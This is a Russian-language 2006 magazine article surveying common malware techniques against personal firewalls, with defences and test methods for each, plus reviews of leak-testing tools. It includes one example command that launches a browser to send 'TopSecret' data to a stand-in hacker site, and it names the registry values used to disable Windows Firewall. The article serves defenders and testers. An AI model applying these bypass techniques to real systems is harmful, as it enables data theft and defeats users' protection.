Распространенные атаки на брандмауэры — защита и диагностика

Олег Зайцев

Введение

   Доступ в Сеть недоверенного приложения

   Доступ в Сеть с использованием RAW Socket

   Управление доверенным приложением

   Внедрение посторонних DLL в доверенные процессы

   Создание в доверенных процессах троянских потоков

   Модификация машинного кода доверенных процессов

   Маскировка недоверенного процесса

   Атаки на процессы брандмауэра

   Атаки на GUI управляющей оболочки

   Модификация ключей реестра и файлов, принадлежащих брандмауэру

   Модификация базы данных брандмауэра

   Обход драйверов, установленных брандмауэром

Утилиты для тестирования брандмауэров

   Утилита Atelier Web Firewall Tester (AWFT)

   Утилиты с сайта FirewallLeakTester

   Утилита Anti Port Scanner (APS)

Выводы

Введение

Работа в Интернете в настоящее время практически немыслима без использования брандмауэра, защищающего компьютер от атак извне и ограничивающего работу приложений в соответствии с заданными пользователем правилами. Разработчики вредоносных программ, в свою очередь, применяют различные методики борьбы с брандмауэрами. Тема данной статьи — обзор наиболее распространенных методик противодействия брандмауэрам. Для каждой методики рассмотрены технологии защиты и методики проверки брандмауэров.

Наиболее распространенные технологии противодействия брандмауэрам

ДДля настройки и тестирования брандмауэра необходимо определиться с основными методиками, применяемыми для противодействия брандмауэрам и их обхода. Рассмотрим методики, которые, согласно статистике, наиболее часто применяются разработчиками вредоносных программ.

Доступ в Сеть недоверенного приложения

Данный метод является самым простым и заключается в запуске некоего приложения, которое для брандмауэра является недоверенным. Это приложение пытается произвести обмен данными с Интернетом — успешное выполнение этого обмена свидетельствует о неработоспособности брандмауэра или о его неправильной настройке. Проведение данного теста — обязательный элемент тестирования брандмауэра, который, по сути, проверяет его работоспособность.

Методика тестирования: программа-тестер выступает в роли недоверенного приложения и пытается произвести обмен с Сетью. Успешный обмен говорит о проблемах в работе брандмауэра или о его некорректной настройке.

Доступ в Сеть с использованием RAW Socket

Этот метод аналогичен предыдущему, но для обмена с Интернетом здесь применяется технология RAW Socket. Данная технология позволяет приложению напрямую принимать и отправлять сетевые пакеты. Использование RAW Socket допустимо для специализированных сетевых утилит (например, для сканера портов), но их применение в других приложениях является крайне подозрительным.

Методика защиты: многие брандмауэры позволяют задавать отдельные правила, разрешающие или запрещающие использовать технологию RAW Socket. Если такая функция не предусмотрена, то брандмауэр должен ограничивать сетевую активность приложения согласно заданным правилам независимо от методики обмена.

Методика тестирования: программа-тестер производит попытку передачи информации или приема сетевых пакетов при помощи RAW Socket, после чего изучается реакция брандмауэра на подобные операции.

Управление доверенным приложением

Данный метод достаточно популярен и в простейшем случае сводится к запуску доверенного приложения с параметрами, например:

IEXPLORE.EXE http://www.hacker-site.ru?&text= TopSecret

В принципе, брандмауэр не обязан фиксировать и блокировать подобные запуски, однако отсутствие контроля над запуском доверенных приложений с параметрами может привести к утечке информации в обход брандмауэра.

 

Реакция брандмауэра Outpost Firewall

Реакция брандмауэра Outpost Firewall на запуск скрытого процесса с ключами

Методика защиты: брандмауэр должен контролировать запуск доверенного приложения недоверенным, особенно если речь идет о браузере. Часто брандмауэры проверяют, видимо ли окно запущенного приложения пользователю. Обмен не видимого пользователем приложения с Интернетом подозрителен, а если это приложение запущено недоверенным приложением, то это подозрительно вдвойне. Пример реагирования брандмауэра на подобную методику обхода показан на первом рисунке.

Методика тестирования: приложение-тестер запускает некую доверенную программу с параметрами. Обычно запускается браузер, управление которым происходит при помощи командной строки, передачи сообщений окну браузера для имитации работы пользователя, управлении запущенной копией браузера с помощью DDE (Dynamic Data Exchange — динамический обмен данными). Некоторые утилиты тестирования создают задание планировщика при помощи соответствующего API или команды AT (в этом случае запуск доверенного приложения выполнит сама система). Подобный тест можно произвести и самостоятельно: запрограммировать при помощи планировщика заданий однократный запуск браузера с командной строкой в заданное время и проанализировать реакцию брандмауэра.

Внедрение посторонних DLL в доверенные процессы

Этот метод является самым простым в плане реализации и предполагает несколько ее разновидностей:

  1. Внедрение DLL при помощи механизма ловушек.
  2. Внедрение DLL при помощи функции CreateRemoteThread. В этом случае в памяти приложения создается участок памяти с именем DLL, а затем производится вызов функции Load Library при помощи функции CreateRemoteThread.
  3. Регистрация DLL в качестве BHO (Browser Helpher Object) или в качестве встраиваемого модуля доверенного процесса.

Последний метод чаще всего применяется разработчиками AdWare/SpyWare-программ. В данном списке перечислены только наиболее распространенные методики, но на самом деле их намного больше — известно около 15 методов внедрения DLL в запущенные процессы.

Следовательно, современный брандмауэр должен содержать подсистему контроля компонентов, загруженных в память доверенного процесса.

 

Пример срабатывания подсистемы контроля компонентов брандмауэра

Пример срабатывания подсистемы контроля компонентов брандмауэра Outpost Firewall

Методика защиты: как правило, защита сводится к так называемому контролю компонентов приложения, то есть к составлению списка используемых приложением DLL и к выдаче предупреждений в случае появления в памяти доверенного процесса новой DLL, которая не значится в этом списке. Для уменьшения количества ложных срабатываний может применяться проверка цифровых подписей библиотек (для исключения реакции на системные DLL) и интеграция брандмауэра с антивирусом для детектирования троянских библиотек. Кроме того, для некоторых методик внедрения DLL необходима запись в память процесса, что также может контролировать брандмауэр.

Методика тестирования: внедрение в память доверенного приложения посторонних DLL различными методами и наблюдение за реакцией брандмауэра. В ходе тестирования следует обратить внимание на то, что для уменьшения количества ложных срабатываний разработчики некоторых брандмауэров не считают «посторонними» библиотеки, загруженные из рабочей папки программы.

Создание в доверенных процессах троянских потоков

Метод достаточно прост и сводится к внедрению в память доверенного процесса программного кода с последующим вызовом функции CreateRemoteThread для его исполнения в отдельном потоке.

 

Реакция брандмауэра Outpost Firewall

Реакция брандмауэра Outpost Firewall
на модификацию памяти доверенного процесса

Методика защиты: брандмауэр должен контролировать подобную операцию и либо блокировать ее, либо считать экземпляр процесса недоверенным с момента внедрения в него постороннего потока. Желательно не только фиксировать факт создания потока, но и регистрировать выполнившее данную операцию приложение для последующего анализа.

Методика тестирования: создание в памяти доверенного процесса троянского потока, выполняющего обмен с Интернетом, и наблюдение за реакцией брандмауэра.

Модификация машинного кода доверенных процессов

Данный метод часто применяется руткитами. Суть метода сводится к модификации машинного кода процесса или используемых им библиотек. Как правило, перед подобной модификацией в память процесса внедряется машинный код перехватчиков и производится перехват ряда функций, чаще всего функций библиотек WS2_32 и wininet.

Методика защиты: блокировка модификации машинного кода доверенных процессов или регистрация этого факта, после чего модифицированный процесс считается недоверенным. При выборе брандмауэра стоит обратить внимание на то, каким образом производится слежение за записью в память других процессов. Дело в том, что обычно для подобного мониторинга применяется перехват одной или нескольких функций в режиме UserMode или KernelMode, а следовательно, восстановление перехваченных функций может отключить защиту.

Методика тестирования: запуск доверенного процесса, модификация его машинного кода и наблюдение за реакцией брандмауэра.

Маскировка недоверенного процесса

В самом названии методики описывается принцип ее работы. Недоверенный процесс при помощи перехвата функций, модификации данных в структурах EPROCESS и PEB производит маскировку своего процесса под доверенный процесс (например, процесс браузера). Если брандмауэр опирается на PID-процесса и получает имя исполняемого файла через стандартные системные функции Windows API, то он окажется уязвимым против такой манипуляции. В случае внедрения в процессы троянской DLL может применяться ее маскировка по руткит-принципу от встроенной в брандмауэр системы контроля компонентов приложений.

Методика защиты: наиболее простой и эффективной методикой является регистрация запуска и завершения процессов, факта загрузки/выгрузки библиотек и сопоставление полученных таким образом данных с информацией, полученной посредством стандартных функций Windows API.

Методика тестирования: программа-тестер должна тем или иным способом производить маскировку запущенных ею процессов и загруженных библиотек, а затем изучается реакция брандмауэра на попытки работы замаскированных модулей с Интернетом.

Атаки на процессы брандмауэра

Атака на процессы и службы брандмауэра в простейшем случае сводится к их остановке. В более сложном случае возможна модификация процесса брандмауэра.

Методика защиты: наиболее эффективным методом защиты является размещение основного кода брандмауэра в невыгружаемых драйверах. В этом случае работающее в режиме UserMode приложение применяется только для контроля и мониторинга работы брандмауэра, а его остановка не сказывается на работе защиты. В качестве дополнительных мер может применяться защита управляющего процесса или мониторинг его работоспособности. В частности, некоторые брандмауэры блокируют обмен с Сетью в случае принудительной остановки управляющего процесса.

Методика тестирования: необходимо выяснить, можно ли принудительно завершить процессы брандмауэра и как скажется завершение процессов на защите компьютера и на работоспособности доверенных приложений.

Атаки на GUI управляющей оболочки

Практически каждый брандмауэр содержит в комплекте поставки некое приложение, предназначенное для управления его работой и мониторинга его состояния. Вредоносное приложение может имитировать действия пользователя, отключив брандмауэр или изменив его настройки. Кроме того, вредоносное приложение может регистрировать факт создания окон системы обучения брандмауэра — создаваемое окно может делаться невидимым и вредоносное приложение может выполнять «автоответ», эмулируя нажатие кнопок и иные операции для эмуляции реакции пользователя на запрос. Единственная сложность при реализации такого метода — многообразие разновидностей брандмауэров, однако нетрудно сформировать базу данных вида «имя окна» — «имя элемента управления» — «действие».

Методика защиты: брандмауэр должен отслеживать эмуляцию различных операций со своими окнами и прочими GUI-элементами. В простейшем случае должен фиксироваться факт отправки сообщений окнам брандмауэра со стороны других приложений.

Методика тестирования: приложение-тестер производит эмуляцию работы пользователя с окнами брандмауэра, например при помощи отправки им сообщений. Брандмауэр должен регистрировать подобные операции, блокировать их и выводить предупреждение о том, что приложение-тестер пытается управлять брандмауэром.

Модификация ключей реестра и файлов, принадлежащих брандмауэру

Как известно, драйверы и службы брандмауэра зарегистрированы в реестре. Ряд вредоносных программ анализирует реестр и уничтожает ключи реестра, принадлежащие брандмауэру. Для уничтожения ключей реестра, как правило, достаточно базы данных с именами драйверов и исполняемых файлов. По данным автора, троянские программы могут содержать внушительные базы данных, насчитывающие сотни записей (причем не только для борьбы с брандмауэрами — там присутствует весь спектр программ, предназначенных для защиты компьютера). Аналогичным образом дело обстоит и с файлами: можно легко вычислить принадлежащие брандмауэру файлы (прежде всего драйверы) и повредить их. К сожалению, многие хорошие брандмауэры совершенно беззащитны против такой атаки, чем активно пользуются разработчики вредоносного ПО. В классификации «лаборатории Касперского» для них даже выделена специальная категория — Trojan.KillAV.

Методика защиты: брандмауэр должен защищать свои ключи реестра и файлы. Методика защиты может быть любой — от проактивной защиты, контролирующей модификацию реестра в реальном масштабе времени, до периодического контроля за ключами реестра и восстановления обнаруженных повреждений. Защита файлов от удаления и модификации может производиться при помощи элементов проактивной защиты.

Методика тестирования: на рабочем компьютере подобные тесты производить не следует — это можно делать только на виртуальном ПК или на компьютере, специально выделенном для тестирования. Проверка сводится к попыткам удаления или повреждения принадлежащих брандмауэру файлов, удаления и модификации ключей реестра.

Модификация базы данных брандмауэра

Любой брандмауэр должен содержать базу данных, в которой описаны правила его работы и настройки. В случае недостаточной защищенности эта база данных может быть уничтожена, подменена или модифицирована. Наиболее часто таким атакам подвергается брандмауэр, встроенный в Windows XP, — Windows Firewall. Причиной этого является хранение базы его настроек в реестре (параметр EnableFirewall позволяет включить/выключить брандмауэр, а параметр FirewallPolicy\StandardProfile\ AuthorizedApplications\List хранит список доверенных приложений), что позволяет вредоносным программам создавать собственные правила.

Методика защиты: разработчики брандмауэра должны хранить базу с настройками в зашифрованном виде и обеспечивать несколько степеней защиты базы — создание ее резервных копий, защиту базы контрольными суммами и т.п. При выборе брандмауэра следует обратить внимание на формат базы и меры по ее защите, предусмотренные разработчиками.

Методика тестирования: необходимо найти базу данных брандмауэра и убедиться, что она не хранится в открытом виде. Далее на тестовом компьютере проверяется реакция брандмауэра на удаление и повреждение его базы.

Обход драйверов, установленных брандмауэром

Обход драйвера является довольно сложной операцией, поскольку создатели большинства современных брандмауэров применяют многоуровневый контроль за сетевой активностью. Кроме того, реализация подобных методик требует разработки достаточно сложного программного кода. Тем не менее реализации известны и сводятся к установке собственного NDIS (Network Driver Interface Specification — спецификация интерфейса сетевых драйверов, разработанная совместно Microsoft и 3Com. Скрывает особенности реализации сетевого адаптера от сетевой операционной системы)-драйвера (для работы с Сетью напрямую для реализации данной методики часто применяется пакет winpcap) или к установке драйвера, передающего IRP (Input/output Request Packets — пакеты запроса ввода-вывода)-пакеты в обход драйверов — фильтров брандмауэра. Последний метод наиболее эффективен против простейших TDI (Transport Driver Interface — интерфейс транспортного драйвера)-фильтров.

Методика защиты: наиболее эффективной защитой является многоуровневая проверка, например TDI- и NDIS-фильтры.

Методика тестирования: применение специализированных утилит, реализующих подобную методику обхода брандмауэра.

В начало В начало

Утилиты для тестирования брандмауэров

Рассмотрим несколько утилит для тестирования брандмауэров. Необходимо учитывать, что ряд антивирусов и антишпионов может диагностировать подобные программы как RiskWare или LeakTest.

Утилита Atelier Web Firewall Tester (AWFT)

Эту утилиту можно скачать с сайта разработчиков http://www.atelierweb.com/awft/, размер ее — около 1 Мбайт. Утилита является коммерческим продуктом и стоит 20 долл., однако ознакомительный период предполагает 10 бесплатных запусков, чего вполне достаточно для тестирования брандмауэра. Утилита AWFT версии 3.2 является типичным Leak-тестером и выполняет шесть типов проверки:

  1. Загрузка применяемого по умолчанию браузера и его модификация в памяти перед запуском.
  2. Создание троянского потока в процессе браузера.
  3. Создание троянского потока в процессе Explorer.
  4. Модификация метода 1, в которой загрузка и модификация памяти браузера производятся из процесса Explorer.
  5. Эвристический поиск процессов, которым разрешена работа с Интернетом по порту 80 и модификация их памяти из потока, работающего в контексте Explorer.
  6. Эвристический поиск процессов, которым разрешена работа с Интернетом и создание в контексте их процесса троянского потока.

Для выполнения тестов 5 и 6 необходимо какое-то время поработать в любой доверенной программе для того, чтобы сработал эвристический поиск утилиты. Утилита AWFT интересна тем, что в ней реализовано сразу несколько методик противодействия брандмауэрам.

Утилиты с сайта FirewallLeakTester

Сайт http://www.firewallleaktester.com/ содержит целую коллекцию разнообразных утилит для тестирования брандмауэров (на момент написания статьи на данном сайте было представлено 15 утилит). Большинство утилит невелики по размеру и снабжены кратким описанием на английском языке. В частности, на сайте можно найти следующие утилиты:

  • Surfer — тест, основанный на управлении браузера по DDE;
  • Breakout — управление браузером при помощи передачи его окну сообщений посредством SendMessage;
  • Ghost — обход брандмауэра при помощи манипуляций с PID процесса-тестера;
  • PCAudit — реализация инжектирования DLL в память процесса Explorer.exe;
  • WallBreaker — демонстрация различных методик запуска Internet Explorer с параметрами (непосредственный запуск, запуск при помощи cmd.exe, при помощи планировщика задач) для передачи информации.

Утилита Anti Port Scanner (APS)

Утилита APS (http://z-oleg.com/secur/aps.htm) прослушивает описанные в ее базе данных порты и сигнализирует об обнаружении попытки соединения с одним из прослушиваемых портов. Может применяться для контроля работоспособности брандмауэра. В частности, можно запустить APS на тестируемом компьютере и произвести сканирование портов с другого компьютера. Для сканирования портов своего компьютера можно применить один из онлайновых сервисов, например http://scan.sygate.com/ или http://www.pcflank.com/test.htm. Если APS детектирует сканирование портов, то это говорит о том, что брандмауэр не работает или требуется его перенастройка.

В начало В начало

Выводы

В данной статье произведен анализ наиболее распространенных атак на персональный брандмауэр, рассмотрены методики защиты от данных атак и представлены рекомендации по проведению тестирования. К сожалению, пока не существует универсальных утилит-тестеров, реализующих имитацию всех описанных методик обхода и нейтрализации брандмауэров. Однако некоторые тесты могут быть достаточно легко реализованы вручную или с привлечением программистов-системщиков.

В качестве общего вывода можно сформулировать следующее правило: словосочетания «запущенный брандмауэр» и «правильно функционирующий брандмауэр» не являются синонимами. Поэтому рекомендуется периодически проверять работоспособность используемого брандмауэра (при помощи leak-тестов и сканирования портов извне), производить анализ его правил и настроек. Для сканирования портов очень удобно применять бесплатные сервисы типа http://www.pcflank.com — сканирование обычно занимает не более 10-15 секунд. Для более тщательного исследования рекомендуется использовать сканеры безопасности класса XSpider. (http://www.ptsecurity.ru/). При отсутствии опыта в области настройки и тестирования брандмауэров желательно обратиться к специализированым конференциям или пригласить специалиста. Практика показывает, что проблемы и уязвимости зачастую связаны не столько с недоработками применяемого брандмауэра, сколько с недочетами в его настройках и с некорректными правилами работы.

 

Некоторые из утилит для тестирования брандмауэров вы сможете найти на нашем CD-ROM.

КомпьютерПресс 4'2006


Наш канал на Youtube

1999 1 2 3 4 5 6 7 8 9 10 11 12
2000 1 2 3 4 5 6 7 8 9 10 11 12
2001 1 2 3 4 5 6 7 8 9 10 11 12
2002 1 2 3 4 5 6 7 8 9 10 11 12
2003 1 2 3 4 5 6 7 8 9 10 11 12
2004 1 2 3 4 5 6 7 8 9 10 11 12
2005 1 2 3 4 5 6 7 8 9 10 11 12
2006 1 2 3 4 5 6 7 8 9 10 11 12
2007 1 2 3 4 5 6 7 8 9 10 11 12
2008 1 2 3 4 5 6 7 8 9 10 11 12
2009 1 2 3 4 5 6 7 8 9 10 11 12
2010 1 2 3 4 5 6 7 8 9 10 11 12
2011 1 2 3 4 5 6 7 8 9 10 11 12
2012 1 2 3 4 5 6 7 8 9 10 11 12
2013 1 2 3 4 5 6 7 8 9 10 11 12
Популярные статьи
КомпьютерПресс использует